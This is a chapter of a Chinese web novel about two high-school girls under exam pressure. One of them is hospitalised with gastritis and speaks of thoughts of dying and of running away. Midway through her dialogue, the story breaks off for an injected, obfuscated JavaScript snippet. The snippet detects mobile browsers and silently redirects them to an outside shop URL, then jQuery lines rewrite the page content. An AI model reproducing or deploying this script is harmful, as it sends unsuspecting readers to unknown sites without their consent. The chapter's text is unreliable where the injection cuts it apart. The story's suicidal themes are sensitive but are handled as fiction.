一月，期末考前一周。
寒流来了，气温骤降到零下三度。
教室的窗户关得很紧，但冷风还是从缝隙里钻进来，像看不见的针，扎在裸露的皮肤上。
黑板上用红色粉笔写着巨大的倒计时数字：7。
七天，168个小时，10080分钟。
每个人都在算，算自己还能做多少套题，背多少单词，补多少漏洞。
空气里弥漫着咖啡和风油精的味道，混在一起，变成一种奇怪的、刺鼻的甜腻。
课间操取消了，改成自由复习。
但并没有人离开教室。
所有人都在座位上，低着头，看书，写题，或者盯着某处发呆。
偶尔有人站起来去接水，脚步声在安静的教室里显得格外响，像踩在每个人的神经上。
周扬转过来，递给我一张纸条，他的手指冻得发红，关节处裂开细小的口子。
“听说陈露住院了。”
纸条上这样写着。
我抬起头，用口型问他：怎么回事？
他摇摇头，回了个“不知道”的口型。
下课后，我去隔壁班看了看。
她的座位空着，桌面收拾得很干净，窗边只有一盆小小的多肉植物，叶子蔫蔫的，边缘发黄。
“她请假了。”陈露的前桌说，“好像是胃炎，住院了。”
“哪家医院？”
“不知道诶，班主任没说。”
我回到教室，窗外在下雪，很小很小的雪，一落地就化了，只在地上留下湿漉漉的痕迹。
操场上有个班的体育课还没停，学生在跑圈，白色的雾气从他们嘴里呼出来，一团一团的，很快就散了。
中午去食堂，听见隔壁桌的女生在议论。
“……听说是故意的，吃错药了。”
“不会吧？为什么啊？”
“压力太大呗，她妈管得可严了，上次月考退步，当众扇了她一巴掌。”
“真的假的？”
“我亲眼看见的，在办公室门口，啪的一声，可响了。”
她们的声音压得很低，但食堂太安静了，每个字都清清楚楚地传过来。
我端着餐盘，手指紧紧扣着冰凉的塑料边缘。
“沈断夏？”周扬端着餐盘坐到我旁边，“你听见了吗？”
“嗯。”
“别听她们瞎说。”他说，“陈露就是胃炎。”
“你去了？”
“没去，我朋友说的，刚才我问了，应该是在第三人民医院消化内科307，别往外传。”
我看着他，他的眼镜片上有雾气，看不清眼睛。
“她怎么样？”
“应该不太好。”周扬扒拉着盘子里的菜，白菜炒肉片，肉片很少，大多是白菜，“瘦得只剩一把骨头了，手上插着针，在打点滴。”
雪下大了，雪花贴在食堂的玻璃窗上，停一会儿，然后慢慢滑下去，留下一道水痕。
下午的数学课，老师在讲台上分析上次月考的错题。
我盯着黑板，但什么也听不进去。
脑子里全是陈露的样子：她掰巧克力给我的样子，她说“我想变成钻石”的样子，她眼睛红红地说“我妈会杀了我的”样子。
粉笔在黑板上吱吱作响，老师画了一个函数图像，开口向上的抛物线。
“这道题很多人都错了，错在没有考虑定义域。”老师说，“定义域是前提，定义域不对，后面全错。”
我盯着那条抛物线，它有无限延伸的趋势，但被定义域限制住了，只能画出一段弧线。
人生有定义域吗？
如果有，是谁定义的？
放学后，我没回家，而是坐公交车去了第三人民医院。
医院很大，白色的楼群在雪里显得更加苍白。
空气里有消毒水的味道，混着雪水潮湿的寒气。
门口人来人往，有匆匆走过的医生护士，有搀扶着病人的家属，有蹲在路边抽烟的男人，烟雾在冷空气里升腾，很快就散了。
我找到消化内科的病房楼，307在走廊尽头。
门被关着，上面的小窗户透出一点光。
我站在门口，犹豫了一会儿，轻轻敲门。
“请进。”
是陈露的声音，很轻，很哑。
我推开门，病房里有三张床，靠窗的那张是陈露的。
她半靠在床头，手上插着输液管，透明的液体一滴一滴往下滴。
她穿着蓝白条纹的病号服，空荡荡的，像挂在衣架上。
“断夏？”她看见我，愣了一下，然后笑了，“你怎么来了？”
“听说你病了。”我把路上买的水果放在床头柜上。
苹果，橙子，香蕉，装在塑料袋里，沉甸甸的。
“坐。”她指了指床边的椅子。
我坐下，病房里很暖和，暖气片发出轻微的嗡嗡声。
另外两张床是空的，被子叠得整整齐齐。
“严重吗？”我问。
“胃炎，急性发作。”她看了看输液管，“医生说再晚点送来，可能就胃穿孔了。”
“怎么会……”
“我也不知道。”她打断我，声音很平静，“可能是吃错东西了，可能是着凉了，也可能是压力太大了，医生说都有可能。”
我们沉默了一会儿，输液管里的液体一滴一滴往下滴，速度很均匀。
“我爸妈刚走。”陈露说，“我妈哭了，说我怎么这么不争气，关键时刻掉链子，我爸没说话，就一直抽烟。”
窗外，雪还在下。
雪花在路灯的光里旋转，落下，消失。
“你知道吗，”她忽然说，“住院这几天，是我这学期睡得最安稳的几天，不用想考试，不用想排名，不用想将来。就安安静静的躺在这里，看着天花板，等着药水滴完。”
她的声音很轻，轻的像是在说梦话。
“有时候我想，就一直这样下去，也挺好的。”
“别胡说。”我说。
“我没胡说。”她转过头看我，眼睛里有什么东西在闪，“夏夏，你累吗？”
这个问题太直接了，直接得让我不知道该怎么回答。
累吗？当然累。
每天睡四五个小时，做不完的题，考不完的试，听不完的“为你好”。
但能说吗？说了又能怎样？
“累。”我还是说了。
她笑了，但笑容里没有笑意：“我猜到了，我们都一样。”
输液管里的液体快滴完了，她按了床头的呼叫铃。
过了一会儿，护士进来换药，新的一袋药水挂上去，透明的，和刚才那袋看起来一模一样。
“还要打几天？”我问。
“三天。”护士说，“三天后出院，正好赶上期末考试。”
“真不巧。”陈露轻声说，“又要回去了。”
护士出去了，病房里又只剩下我们两个人。
暖气嗡嗡作响，窗外雪落无声。
“你听说那些传言了吗？”陈露忽然问。
“什么传言？”
“说我故意吃错药，想自杀的传言。”她的声音很平静，平静得可怕。
我没说话。
“我没那么做。”她说，“至少这次没有，我就是……忘了吃饭，又吃了止痛药，然后就倒在地上，疼得打滚。我妈回来的时候，我已经昏过去了。”
她顿了顿，看着窗外：“但有时候我在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218419|197464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想，如果那天我死了，会怎么样？他们会难过吗？会后悔吗？还是会说，‘这孩子怎么这么脆弱，一点压力都受不了’？”
“别说了。”我说。
“为什么不能说？”她转过头，眼睛直直地看着我，“你不也在想吗？那天在补习班，你看我的眼神，我知道你在想什么。”
“沈断夏，”她轻声说，“我们逃吧。”
我抬起头。
“逃到没有考试的地方，没有排名的地方，没有‘为你好’的地方，就我们两个人，去哪里都行。”
她的眼睛很亮，亮得像燃烧的雪。
“你疯了。”我说。
“可能吧。”她笑了，这次笑容真实了一点，“但疯了总比死了好，对不对？”
我离开医院时，天已经黑了。
雪停了，地上积了薄薄一层白色，路灯把雪地照得发黄，像一块巨大的、肮脏的奶油蛋糕。
公交车很空，我坐在最后一排，看着窗外流动的夜景。
商店的霓虹灯在雪地里投下斑斓的倒影，像打翻了的颜料。
回到家时已经八点，父亲依旧坐在客厅里，茶几上摊着我的演讲稿，已经被他用红笔改得密密麻麻。
“这么晚回来，去哪了？”他问。
“去医院看同学。”
“谁？”
“陈露，隔壁班的，胃炎住院了。”
他点点头，没再追问，把演讲稿推到我面前：“稿子我改好了，有几个地方要注意：第一，理想不能只说当医生，要具体，要说哪个科室，为什么要选这个科室；第二，要加上具体的例子，比如你参加过什么医学相关的活动；第三，结尾要升华，要和‘中国梦’联系起来。”
我拿起稿子，纸上的字迹很重，每一笔都力透纸背。
“明天重写一遍，后天给我看。”他说。
“好。”
“期末考试准备得怎么样了？”
“还可以。”
“数学模拟卷做了几套？”
“三套。”
“太少了。考前至少要做十套。”
“嗯。”
这样的对话我们已经重复过无数次，像两盘磁带，A面播完播B面，B面播完又回到A面。
回到房间，我打开那个深蓝色的笔记本。
自从上次撕掉一页后，我已经很久没写了。
但今天，我想写点什么。
但我什么也没写。
窗外又下雪了，这次雪很大，纷纷扬扬的，像天空在撕碎什么。
我躺下，闭上眼睛。
脑子里全是陈露的声音：“我们逃吧。”
能逃到哪里去啊？
哪里没有考试？哪里没有排名？
哪里没有“为你好”？
也许有那样的地方，但我去不了。
我被什么东西拴着，像狗被拴在桩子上，能活动的范围只有以那根绳子为半径的一个圆。
绳子那头是父亲的期望？是母亲的眼神？还是老师的评语？
我只知道，绳子很结实，我挣不断。
就像笼中的鸟，永远飞不出去。
我坐起来，走到窗边。
我家离医院很近，时不时就有救护车经过。
雪在车灯的光柱里疯狂旋转，像一群受惊的白鸟。
车开远了，灯光消失在街角。
雪在继续下着，无声无息，把刚才的车辙覆盖，把所有的痕迹抹平。
像什么都没发生过。
我回到床上，被里很冷，像躺在雪地里。
窗外的雪应该还在下。
一片一片，落在窗玻璃上，停一会儿，然后化成水，流下去。
像眼泪，但窗户又不会哭。